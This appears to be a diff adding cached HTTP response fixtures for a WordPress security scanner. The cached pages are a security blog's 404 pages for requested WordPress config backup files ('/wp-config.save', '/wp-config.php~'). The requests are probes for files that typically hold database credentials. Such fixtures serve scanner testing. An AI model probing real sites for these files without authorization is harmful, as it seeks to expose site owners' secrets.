<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 2.8e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.save
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:26 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=0fs72im2dr2p2ptbkfnff0j9ncbs1lm2; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:26 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=dd047d44856522baaa9e972cf95686c131341821726; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
Content-Encoding: gzip
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.7e-05
|
||||
pretransfer_time: 2.6e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.save
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.save
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.701932
|
||||
status_message:
|
||||
time: 0.726919
|
||||
310
cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25
vendored
Normal file
310
cache/browser/bf09e1dd1fc374faf202d564332d977927c1ca25
vendored
Normal file
@@ -0,0 +1,310 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 3.2e-05
|
||||
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
|
||||
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
|
||||
<head>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
|
||||
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
|
||||
<title>Nothing found for Wp-config Php~</title>\n\
|
||||
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
|
||||
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
|
||||
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
|
||||
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
|
||||
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
|
||||
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
|
||||
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
|
||||
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
|
||||
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
|
||||
</head>\n\
|
||||
<body><script type=\"text/javascript\">\n\
|
||||
//<![CDATA[\n\
|
||||
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
|
||||
//]]>\n\
|
||||
</script>\n\
|
||||
<noscript>\n\
|
||||
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
|
||||
</noscript>\n\
|
||||
<script type=\"text/javascript\">\r\n\
|
||||
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
|
||||
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
|
||||
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
|
||||
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
|
||||
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
|
||||
\r\n\
|
||||
</script>\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<div id=\"wrap\">\n\
|
||||
<div id=\"header\">\n\
|
||||
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
|
||||
<ul id=\"menu\">\n\
|
||||
<li id=\"home\" class=\"current_page_item\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
|
||||
<div class=\"menuLine\">\n\
|
||||
01\n\
|
||||
</div> \n\
|
||||
</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
|
||||
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
|
||||
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
|
||||
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
|
||||
<li id=\"rss\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"main\">\n\
|
||||
<div id=\"primary\">\n\
|
||||
<div class=\"topLine\">\n\
|
||||
</div>\n\
|
||||
<h2>Recent</h2>\n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug – PHP Static Code Analysis</a></h2>\n\
|
||||
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
|
||||
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
|
||||
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
|
||||
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
|
||||
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.</p>\n\
|
||||
<p><strong>Legion by Rhino9</strong></p>\n\
|
||||
<p>Use: Windows Null Session share scanner.<br/>\n\
|
||||
Released: 1999<br/>\n\
|
||||
Platform: Windows<br/>\n\
|
||||
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&seqNum=5</a><br/>\n\
|
||||
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
|
||||
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
|
||||
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.</p>\n\
|
||||
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
|
||||
<p>The X-Frame-Options header may have three different values:</p>\n\
|
||||
<p><strong>DENY</strong> – No pages are allowed to be loaded.<br/>\n\
|
||||
<strong>SAMEORIGIN</strong> – Only pages from the same domain are allowed to be loaded.<br/>\n\
|
||||
<strong>Allow-From http://www.example.com</strong> – Only allow frames from www.example.com.</p>\n\
|
||||
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more…</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
|
||||
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.</p>\n\
|
||||
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div class=\"post-item\">\n\
|
||||
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
|
||||
<p>I am tired of receiving multiple telemarketing calls per day, I’m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
|
||||
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
|
||||
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
|
||||
<p>You can help by signing the petition here;<br/>\n\
|
||||
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
|
||||
<p class=\"meta\">\n\
|
||||
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
|
||||
<p class=\"comments\">\n\
|
||||
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
|
||||
</p>\n\
|
||||
</div>\n \n\
|
||||
<div id=\"morePrev\">\n\
|
||||
<span id=\"prev\"></span>\n\
|
||||
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php~/page/2/\">Next Page »</a></span>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
</div>\n\
|
||||
</div>\n \n\
|
||||
<ul id=\"sidebar\">\n\
|
||||
<li class=\"sidebarItem\" id=\"search\">\n\
|
||||
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
|
||||
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
|
||||
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
|
||||
</form> </li> \n\
|
||||
<div class=\"topLine\"></div>\n\
|
||||
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
|
||||
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span 